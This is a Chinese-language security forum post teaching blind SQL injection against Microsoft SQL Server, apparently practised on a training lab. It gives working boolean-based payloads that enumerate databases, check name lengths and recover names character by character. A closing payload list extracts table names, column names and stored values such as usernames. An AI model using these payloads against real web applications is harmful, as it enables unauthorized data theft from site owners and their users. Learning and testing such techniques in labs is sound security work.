Home > 技术文章投稿区 > 技术文章

MSSQL 盲注

cyanswetgare · 发表于 2020-02-23 03:19:17 · 技术文章

# 0x01 前言
- **Tips: 上文字-下图片**
------------

**看到别人的oracle注入。我不妨也来写一个MSSQL盲注,虽然挺简单的**
![](/upload/md/236552d30b309979c24b864f22048000_22205.jpg)
先下手为强 ((小声bb

# 0x02 MSSQL盲注_前期知识
了解前。先有两个函数要先了解一下count(✳),object_id()
1.union all select count(✳) from dbo.sysobjects
```markdown
count指是查询表的所有记录数，也就是无需去order by查询字段数。就能达成回显(只限于盲注8?)
```

2.根据风哥的直播课。我记得应该是没有讲到。如何查询库名，和所有库的.
**(若有就无视这条)**

```markdown
?id=1 union all select null,db_name(),null //查询当前库名
```
![](/upload/md/9efbe8248254db57c722306c60125cd0_41086.png)
```markdown
 ?id=1 union all select dbid,name,null from master.dbo.sysdatabases //查询当前所有库
 dbid 是指数据库的id, master.dbo.sysdatabases 则是来查询库
```
![](/upload/md/7c91dc85cf074cf352d3531ef20541cd_97879.png)
3.object_id()
简单的一句话总结就是 免去了 查询id
```markdown
unino all select null,name,null from dbo.syscolumns where id=object_id('dbo.admin') //要注意这里要加单引号括起来
```
![](/upload/md/f1c533a429451b7a0cb39cbc6d36a0b7_31173.png)

# 0x03 MSSQL盲注

```markdown
?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=1)=1
这条语句则是盲注的开始
```
**这是有数据 则 回显正常状态**
![](/upload/md/2f32934fe6100a06a425503a56911f46_87359.png)
**这是无数据 则 回显不正常状态**
![](/upload/md/09e320bdc9c745c1ae475100377f8db3_79545.png)

```markdown
判断长度:
?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=1 and len(name)=6)=1
刚刚上面也看到了所有的数据库。那么第一个是 master, master有长度为6位
```
回显正常
![](/upload/md/7c8f0337434f9d2093babc84cfb24ba4_90041.png)

**Tips:这里肯定有人问，有第二条数据咋查询。(dbid=2)**

我这里就开始用Navicat做示范
![](/upload/md/e0e23cac91ff1bb098b73d296d295911_65826.png)
```markdown
?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=1 and ascii(substring(name,1,1))>100)=1
这里我不太懂为什么是从1开始。可能mssql数数是从1开始把。自己也测试过了。
0,1会报错 则 1,1不会
```
回显False
数据库名 第一个字大于 100

![](/upload/md/96e3b859c28d23f2ac54799964a6c36d_72723.png)
```markdown
?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=1 and ascii(substring(name,1,1))<115)=1
```
回显False
数据库名 第一个字小于115
![](/upload/md/db41f36f50e2bb25c7da660bd1277e3b_20970.png)
```markdown
?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=1 and ascii(substring(name,1,1))=109)=1
```
为了加快速度。我用Python转换一下.
回显True
数据库名 第一个字等于109 
![](/upload/md/1e7d151bafa371afc05dbdd956644c87_44308.png)
![](/upload/md/f060c5afb872fb464ea15c233205ba96_64893.png)

**我这里把所有的字都转换成了 ascii 码**
![](/upload/md/8191fbd1fd36dec916523cf92e8f5b15_15266.png)
```markdown
name,2,1))=97)=1 :a
```
回显True
![](/upload/md/fe1cac2c2aceeddd8f8da375c54bd6dc_70298.png)
```markdown
name,3,1))=115)=1 :s
```
回显True
![](/upload/md/a32d48eabdbaa2298fcc1822086a8694_25663.png)
```markdown
name,4,1))=116)=1 :t
```
回显True
![](/upload/md/99293861c96627b3526687f6de48b522_43277.png)
```markdown
name,5,1))=101)=1 :e
```
回显True
![](/upload/md/e5a6144a4242b6f24684ff4cff699eb9_70677.png)
```markdown
name,6,1))=114)=1 :r
```
回显True
![](/upload/md/3bacdf44915df6c14d8b551bda3500e9_95742.png)

# 0x03 最后
我把
- 盲注表
- 盲注字段
- 盲注字段内容
都放这里。大家自己试看看⑧，毕竟文章发布于03:18:10,(●'◡'●)
....~~可能~~这篇文章质量没那么好。QAQ

Payload:
```markdown
 盲注 : 表
 ?id=1 and (select count(*) from dbo.sysobjects where name in(select top 1 name from dbo.sysobjects where xtype='U')and ascii(substring(name,1,1))=100)=1
 查询下一个表
 ?id=1 and (select count(*) from dbo.sysobjects where name in(select top 1 name from dbo.sysobjects where xtype='U' and name not in('zkaq'))and ascii(substring(name,1,1))=100)=1
```
**tips: (top 1) 是指查询最大值的那一个**
```markdown
假设已猜出表名(zkaq666)
盲注：字段名
?id=1 and (select count(*)from dbo.sysobjects where name in(select top 1 name from dbo.sysobjects where id=object_id('dbo.zkaq666'))and ascii(substring(name,1,1))=100)=1
```
```markdown
假设已猜出字段名(username)
盲注: 字段内容
?id=1 and (select count(*) from dbo.zkaq666 where username in(select top 1 username from dbo.zkaq666)and ascii(substring(username,1,1))=100)=1
```

**可以去我[博客](https://hu5k7.github.io "hu5k7")![](/upload/md/69dd71c9f8615289441f4e8ef228721d_53989.png)看看其他内容0w0**

参考连接link:
https://blog.csdn.net/v_gbird/article/details/93981684
https://blog.csdn.net/kuxing100/article/details/9670533

**若有疑问请留言，若有错误点请大佬指点:)**
---------

用户名	金币	积分	时间	理由
admin	100.00	0	2020-02-23 09:09:34

打赏我,让我更有动力~

3 Reply | Until 2020-2-23 | 1428 View

admin
发表于 2020-2-23

评论列表

加载数据中...

编写评论内容

mq
发表于 2020-2-23

评论列表

加载数据中...

编写评论内容

mq
发表于 2020-2-23

评论列表

加载数据中...

编写评论内容

LoginCan Publish Content

MSSQL 盲注

评论列表 默认排序 默认排序 The Latest Reply

评论列表 默认排序 默认排序 The Latest Reply

评论列表 默认排序 默认排序 The Latest Reply

评论列表

评论列表

评论列表